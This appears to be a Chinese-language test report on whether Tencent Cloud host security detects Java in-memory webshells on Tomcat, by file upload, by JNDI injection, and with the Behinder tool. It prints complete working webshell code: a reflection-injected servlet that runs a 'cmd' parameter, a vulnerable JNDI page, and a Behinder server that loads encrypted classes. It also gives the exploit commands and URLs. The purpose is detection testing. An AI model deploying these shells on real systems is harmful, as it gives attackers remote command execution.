内存马插件测试
发表于更新于
字数总计:1.3k阅读时长:5分钟 中国
内存马插件测试文档
测试目的
使用腾讯云主机安全测试内存马检测情况,测试的范围包括在Java Web服务中注入内存马几类常见情况:
- 有文件落地型:通过上传并触发jsp在Web服务中注入内存马。
- 无文件落地型:通过利用漏洞在Web服务中注入内存马(恶意class)。
- 常见工具类:一些攻防场景中会用到的内存马,如:冰蝎、哥斯拉等。
测试环境
- 操作系统:Linux(Debian 10)
- 腾讯云主机安全产品版本:旗舰版
- Web容器:tomcat
- Java版本:jdk1.8.0_65
- 其他:漏洞环境依赖的库、JNDI-Injection-Exploit-Plus、冰蝎v4.0.6
测试步骤
前期准备工作
启动用于测试的Web容器:
在主机安全——入侵防御——高级防御——Java内存马——插件配置中将测试靶机的Java内存马插件启用:
有文件落地型
有文件落地型的内存马即通过上传jsp文件到Web容器中,通过加载jsp,实例化恶意class,将内存马注入到目标jvm进程中,这里拿servlet型内存马论述。
一个有回显的servlet类型的内存马的jsp demo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import = "org.apache.catalina.core.ApplicationContext"%> <%@ page import = "org.apache.catalina.core.StandardContext"%> <%@ page import = "javax.servlet.*"%> <%@ page import = "javax.servlet.http.HttpServletRequest"%> <%@ page import = "javax.servlet.http.HttpServletResponse"%> <%@ page import = "java.io.IOException"%> <%@ page import = "java.lang.reflect.Field"%> <%@ page import="org.apache.catalina.Wrapper" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.io.BufferedInputStream" %>
<% class EvilServlet implements Servlet{ @Override public void init(ServletConfig config) throws ServletException {} @Override public String getServletInfo() {return null;} @Override public void destroy() {} public ServletConfig getServletConfig() {return null;}
@Override public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException { HttpServletRequest request1 = (HttpServletRequest) req; HttpServletResponse response1 = (HttpServletResponse) res; if (request1.getParameter("cmd") != null){ InputStream is = Runtime.getRuntime().exec(request1.getParameter("cmd")).getInputStream(); BufferedInputStream bis = new BufferedInputStream(is); int len; while ((len = bis.read())!=-1){ res.getWriter().write(len); } } else{ response1.sendError(HttpServletResponse.SC_NOT_FOUND); } } } %>
<% ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); EvilServlet evilServlet = new EvilServlet(); Wrapper evilWrapper = standardContext.createWrapper(); evilWrapper.setName("evilPage"); evilWrapper.setLoadOnStartup(1); evilWrapper.setServlet(evilServlet); evilWrapper.setServletClass(evilServlet.getClass().getName()); standardContext.addChild(evilWrapper); standardContext.addServletMappingDecoded("/evilpage", "evilPage"); out.println("动态注入servlet成功"); %>
|
上传到web容器,访问jsp:servlet1.jsp
触发注入,然后访问恶意url:evilpage?cmd=xxx
:
Java内存马插件即会告警:
详情——查看文件可以看到恶意class内容:
无文件落地型
无文件落地的内存马主要通过Java Web容器中的漏洞来进行恶意class注入,攻击场景通常会被用来的进行内存马注入的漏洞如:反序列化漏洞、表达式注入漏洞、JNDI注入漏洞等,这里拿JNDI注入漏洞简单举例。
这里使用的JNDI靶场demo:
1 2 3 4 5 6 7 8 9 10 11 12
| <%@ page import="javax.naming.InitialContext" %> <%@ page import="javax.naming.Context" %> <% try { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); String name = request.getParameter("name"); Context ctx = new InitialContext(); ctx.lookup(name); out.println("JNDI Attack!"); } catch (Exception ignored) { } %>
|
这里为了方便测试,这里直接使用JNDI-Injection-Exploit-Plus这个项目进行测试。
使用JNDI-Injection-Exploit-Plus启动JNDI服务:
1
| java -jar JNDI-Injection-Exploit-Plus-1.8-SNAPSHOT-all.jar -A "127.0.0.1" -C "touch /tmp/success"
|
启动tomcat服务、打开Java内存马插件后访问url加载恶意class:
1
| http://43.155.116.110:8080/WeHub/jndi.jsp?name=ldap://127.0.0.1:1389/remoteExploit8
|
Java内存马插件即会告警,详情——查看文件可以看到恶意class内容:
常见工具类
在攻防场景中,一般会使用一些常见的工具进行内存马注入,比如冰蝎、哥斯拉、蚁剑等,这里以冰蝎为例进行测试。
使用冰蝎生成服务端:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <%@page import="java.util.*,java.io.*,javax.crypto.*,javax.crypto.spec.*" %> <%! private byte[] Decrypt(byte[] data) throws Exception { String key="e45e329feb5d925b"; for (int i = 0; i < data.length; i++) { data[i] = (byte) ((data[i]) ^ (key.getBytes()[i + 1 & 15])); } return data; } %> <%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){ ByteArrayOutputStream bos = new ByteArrayOutputStream(); byte[] buf = new byte[512]; int length=request.getInputStream().read(buf); while (length>0) { byte[] data= Arrays.copyOfRange(buf,0,length); bos.write(data); length=request.getInputStream().read(buf); }
out.clear(); out=pageContext.pushBody(); new U(this.getClass().getClassLoader()).g(Decrypt(bos.toByteArray())).newInstance().equals(pageContext);} %>
|
启动tomcat服务,打开Java内存马插件,将服务端上传到Web容器,使用冰蝎连接:
1
| http://43.155.116.110:8080/shell.jsp
|
Java内存马插件即会告警:
使用冰蝎内置的内存马注入模块往目标Web容器注入noagent型内存马:
注入后Java内存马插件即会告警:
详情页可以看到恶意class的具体信息: